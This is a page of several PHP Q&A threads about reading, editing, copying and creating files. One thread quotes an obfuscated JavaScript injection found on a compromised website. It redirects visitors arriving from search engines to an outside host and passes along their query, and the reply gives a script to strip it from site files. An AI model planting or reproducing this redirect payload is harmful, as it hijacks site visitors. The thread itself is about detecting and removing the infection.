I have two configuration files. One is ini one is php. They look like below. I need to update the database file name but the rest of the files must be unchanged. Any idea how to do so?
config.ini
; Turning Debugging on
[test]
developer = true
; Production site configuration data
[production]
database.params.dbname = /var/lib/firebird/data/radek_db.gdb
and setting.php
<?php
/**
The settings file
*/
#This will be done automatically if u want to override it uncomment the next line few lines
/*
$Path = 'mainline';
#Database to connect to:
$Database = "radek_db";
?>
Could you read the file to a string with file_get_contents(), do a str_replace() or preg_replace() on it, and then save over it with file_put_contents()?
I'd link those all to the documentation, but I don't have the reputation to make more than one link...
EDIT: If all you know is the name of the option, you can use preg_match to find the option name with a regexp (something like '/^database\.params\.dbname = (.*)$/') and then do a str_replace on the name you find.
Something like this:
$file = file_get_contents('/path/to/config/file');
$matches = array();
preg_match('/^database\.params\.dbname = (.*)$/', $file, $matches);
$file = str_replace($matches[1], $new_value, $file);
file_put_contents('/path/to/config/file', $file);
For reading ini files, there's parse_ini_file. For the rest, you'll have to write a simple script for that purpose... or use sed.
Related
Here is a snippet of what I'm trying to do:
$file = fopen($path, "wb");
fwrite($file, $data);
fclose($file);
Simple enough.
But when I open the created file, I see 0x0D inserted before 0x0A everywhere. I understand that this will happen if I open the file without binary mode.
But I've clearly specified I want binary mode. Maybe my brain isn't functioning right or something, so.. Anyone got a solution?
It turns out, for some weird reason, the problem was with my $path. My $path value was "temp".
It would generate the file named "temp" but would refuse to open it in binary mode. Giving the file an extension like "temp.bin" or "temp.tmp" allowed it to work in binary mode.
Problem solved for now but I'm still wondering why it works like this.
Seems the problem is with the $path. Please make sure you have given the correct file path.
If you are defining the $path with a dynamic file name, use / before the file name. For example, $var = "/var/www/html/projectFolder/folderFile/". "Filename.fileformat"
If you're working with URLs in a redirection context, then the root directory ('/') refers to your domain's root. The same goes for paths for linking files or images and for include and require directives.
You're making the classic mistake of confusing data with the representation of that data.
Let's say you have a text file. If you open it in Notepad, you'll see the following:
$str = "Hello world!";
echo bin2hex($str); // output: 48656c6c6f20776f726c6421
$file = fopen($path, "wb");
$data = bin2hex($data);
fwrite($file, $data);
fclose($file);
I wanto to copy a pdf file to another folder, and it works, but the file that I open in the destination folder is decoded incorrectly and I can not open.
My code:
$fsrc = fopen($srcz,'r');
$fdest = fopen($destz,'w+');
copy($fsrc,$fdest)
Thanks
Try this:
copy($srcz,$destz);
The copy function in PHP needs the source and destination. Consult the php manual: Php copy
I don't know how that code you have works... see the function copy takes the names of the files:
copy($srz,$destz);
If you want to copy the files opened with fopen you use stream_copy_to_stream, like so:
$fsrc = fopen($srcz,'r');
$fdest = fopen($destz,'w+');
stream_copy_to_stream($fsrc, $fdest);
fclose($fsrc);
fclose($fdest);
Do not forget to close the files!
you should use copy without using fopen because fopen create a resource and copy too .
$old = '/tmp/yesterday.txt';
$new = '/tmp/today.txt';
copy($old, $new) or die("Unable to copy $old to $new.");
I am developing a cms and want a user to create a folder and also insert an index.php file with some lines of code to be executed. This should be done from the control panel and every thing should be done using code.
Thanks
I have tried this code
if (!file_exists('folder_path')) {
mkdir('folder_path');
}
However i have no idea whether i can create an index.php file and insert code into it
using fopen
$file_name = "index.php";
$create_file = fopen($file_name, "r");
First of all, of course you can, and there are several ways to do so. fopen() is one of them, but I am guessing that you would better off trying to utilize one of these:
file_put_contents( $filename, $data )
Documentation link
or, depending on your implementation of the CMS, I am guessing you may want to place a default starting template there, so simply
copy( $tempalte_file, $new_path )
Documentation link
Finally, if you insist for some reason to use fopen, just use the (w)rite flag, which will attempt to create the file if it does not exist:
$handle = fopen( $filename, "w" );
Documentation link
My sites have been marked as a Reported Attack Page! in Firefox.
Here is the suspicious code in question:
<script language="JavaScript">eval(function(p,a,c,k,e,r){e=f
unction(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin
g.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,Str
ing)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e
]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.re
place(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('e r=
x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3
("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g"
;4(r.3("j.")!=-1)t="q";4(t.6&&((q=r.3("?"+t+"="))!=-1||(q=r.
3("&"+t+"="))!=-1))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c
"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6)
.o("&")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referr
er|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|s
ubstring|split||||||ea|ht|tp|document|||go|window|location'.
split('|'),0,{}))</script>
I want to write some PHP code to traverse the folders in the site path and fetch the files in each folder. For each file, I will open it and check if it contain the above code using regular expressions.
Is this good idea, or what should I do here?
You just need to do some string replacement, since you know exactly what you're looking for. Something like this should work (You may need to adjust the call to glob depending on where you invoke this script.
<?php
$js = 'INSERT THE CODE FROM YOUR POST HERE';
foreach( glob("*") as $filename) {
$contents = file_get_contents( $filename);
$contents = str_replace( $js, '', $contents); // Replace the code with nothing
file_put_contents( $filename, $contents);
}
I want to replace server's address inside xml file. Placed placeholder %scr_path% on line.
<property id="urlGenerateImage">%scr_path%/imgcap.php</property>
Using following code
$path=$wsurl."core/contents/tests";
//read the entire string
$str=implode("\n",file('../includes/ckeditor/plugins/fmath_formula/dialogs/configMathMLEditor.xml'));
$fp=fopen('../includes/ckeditor/plugins/fmath_formula/dialogs/configMathMLEditor.xml','w');
//replace something in the file string
$str=str_replace('%scr_path%',$path,$str);
//now, TOTALLY rewrite the file
fwrite($fp,$str,strlen($str));
Getting bunch of errors about wrong file path. Checked twice path. What's wrong?
It all depends what directory your script is running in. Since you're using a relative path name (../), you'd better be sure you know what directory the script currently is in. Or, even better, set it at the beginning of your script so it will always work.
$path = $wsurl."core/contents/tests";
// change directory to project root
chdir("/your/project/directory");
// read the file into a string
$filename = 'includes/ckeditor/plugins/fmath_formula/dialogs/configMathMLEditor.xml';
$str = file_get_contents($filename);
// replace token
$str = str_replace('%scr_path%',$path,$str);
// save file
file_put_contents($filename, $str);